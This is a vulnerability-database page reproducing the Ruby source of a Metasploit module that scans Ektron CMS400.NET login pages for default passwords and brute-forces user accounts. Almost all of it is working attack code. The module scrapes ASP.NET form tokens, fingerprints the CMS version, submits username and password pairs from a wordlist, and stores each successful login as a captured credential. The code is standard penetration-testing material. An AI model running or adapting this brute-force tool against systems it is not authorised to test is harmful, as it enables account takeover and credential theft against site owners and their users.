Lucene search
K

Ektron CMS400.NET Default Password Scanner

🗓️ 30 Jan 2012 16:40:59Reported by Justin CacakType 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

Ektron CMS400.NET Default Password Scanner tests for Ektron CMS400.NET installations that use default passwords or are vulnerable to brute force attacks. The module includes the ability to enforce account lockouts for regular user accounts after a number of failed attempts

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
        'Name'          => 'Ektron CMS400.NET Default Password Scanner',
        'Description'   => %q{
          Ektron CMS400.NET is a web content management system based on .NET.
          This module tests for installations that are utilizing default
          passwords set by the vendor. Additionally, it has the ability
          to brute force user accounts. Note that Ektron CMS400.NET, by
          default, enforces account lockouts for regular user account
          after a number of failed attempts.
        },
        'License'       => MSF_LICENSE,
        'Author'        => ['Justin Cacak']
      ))

    register_options(
      [
        OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']),
        OptPath.new(
          'USERPASS_FILE',
          [
            false,
            "File containing users and passwords",
            File.join(Msf::Config.data_directory, "wordlists", "cms400net_default_userpass.txt")
          ])
      ])

    # Set to false to prevent account lockouts - it will!
    deregister_options('BLANK_PASSWORDS')
  end

  def target_url
    # Function to display correct protocol and host/vhost info
    if rport == 443 or ssl
      proto = "https"
    else
      proto = "http"
    end

    uri = normalize_uri(datastore['URI'])
    if vhost != ""
      "#{proto}://#{vhost}:#{rport}#{uri.to_s}"
    else
      "#{proto}://#{rhost}:#{rport}#{uri.to_s}"
    end
  end

    def gen_blank_passwords(users, credentials)
      return credentials
    end

  def run_host(ip)
    begin
      res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => normalize_uri(datastore['URI'])
      }, 20)

      if res.nil?
        print_error("Connection timed out")
        return
      end

      # Check for HTTP 200 response.
      # Numerous versions and configs make if difficult to further fingerprint.
      if (res and res.code == 200)
        print_status("Ektron CMS400.NET install found at #{target_url}  [HTTP 200]")

        #Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.
        #Required to be sent based on some versions/configs.
        begin
          viewstate = res.body.scan(/<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="(.*)"/)[0][0]
        rescue
          viewstate = ""
        end

        begin
          eventvalidation = res.body.scan(/<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="(.*)"/)[0][0]
        rescue
          eventvalidation = ""
        end

        get_version

        print_status "Testing passwords at #{target_url}"
        each_user_pass { |user, pass|
          do_login(user, pass, viewstate, eventvalidation)
        }
      else
        print_error("Ektron CMS400.NET login page not found at #{target_url}. May need to set VHOST or RPORT.  [HTTP #{res.code}]")
      end

    rescue
      print_error("Ektron CMS400.NET login page not found at #{target_url}  [HTTP #{res.code}]")
      return
    end
  end

  def get_version
      # Attempt to retrieve the version of CMS400.NET installed.
      # Not always possible based on version/config.
      payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx"
      res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => payload
      }, 20)

      if (res.body.match(/Version.:.(\d{1,3}.\d{1,3})/))
        print_status "Ektron CMS400.NET version: #{$1}"
      end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: (ssl ? 'https' : 'http'),
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
    vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")

    post_data =  "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
    post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
    post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
    post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"

    begin
      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => normalize_uri(datastore['URI']),
        'data'    => post_data,
      }, 20)

      if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil)
        print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'")
        report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)

      elsif(res and res.code == 200)
        vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'")
      else
        print_error("#{target_url} [Error] Unable to authenticate. Check parameters.  [HTTP #{res.code}]")
        return :abort
      end

    rescue ::Rex::ConnectionError => e
      vprint_error("http://#{tartget_url} - #{e.to_s}")
      return :abort
    end

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation